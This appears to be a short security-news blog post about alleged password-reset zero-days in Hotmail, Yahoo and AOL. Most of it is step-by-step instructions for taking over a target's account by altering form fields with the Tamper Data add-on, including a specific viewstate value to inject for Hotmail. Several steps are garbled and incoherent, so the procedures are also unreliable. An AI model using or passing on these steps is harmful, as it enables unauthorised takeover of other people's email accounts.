Yet Another Hotmail, AOL and Yahoo Password Reset 0Day Vulnerabilities

Later Today another unknown hacker reported another similar vulnerabilities in Hotmail, Yahoo and AOL. Using same Tamper Data add-on attacker is able to Reset passwords of any account remotely. This is somewhat a critical Vulnerability ever exposed, Millions of users can effected in result.

Here Below Hacker Demonstrated Vulnerabilities:
1.) Hotmail :

1


Step 1. Go to this page https://maccount.live.com/ac/resetpwdmain.aspx .
Step 2. Enter the Target Email and enter the 6 characters you see.
Step 3. Start Tamper Data
Step 4. Delete Element “SendEmail_ContinueCmd”
Step 5. change Element “__V_previousForm” to “ResetOptionForm”
Step 6. Change Element “__viewstate” to “%2FwEXAQUDX19QDwUPTmV3UGFzc3dvcmRGb3JtZMw%2BEPFW%2Fak6gMIVsxSlDMZxkMkI”
Step 7. Click O.K and Type THe new Password
Step 8. sTart TamperDaTa and Add Element “__V_SecretAnswerProof” Proof not constant Like the old Exploit “++++” You need new Proof Every Time

2.) Yahoo

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Step 1. Go to this page https://edit.yahoo.com/forgot .
Step 2. EnTer the Target Email . and Enter the 6 characters you see .
Step 3. Start Tamper Data Delete
Step 4. change Element “Stage” to “fe200”
Step 5. Click O.K and Type The new Password
Step 6. Start Tamper Data All in Element Z
Step 7.done
3.) AOL:

1

Step 1. Go to Reset Page
Step 2. EnTer the Target Email . and Enter the characters you see .
Step 3. Start Tamper Data
Step 4. change Element “action” to “pwdReset”
Step 5. change Element “isSiteStateEncoded” to “false”
Step 6. Click O.K and Type THe new Password
Step 7. Start TamperDaTa All in Element rndNO
Step 8.done

We have reported the issue via Twitter to official security response team at Microsoft.
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One response to “Yet Another Hotmail, AOL and Yahoo Password Reset 0Day Vulnerabilities

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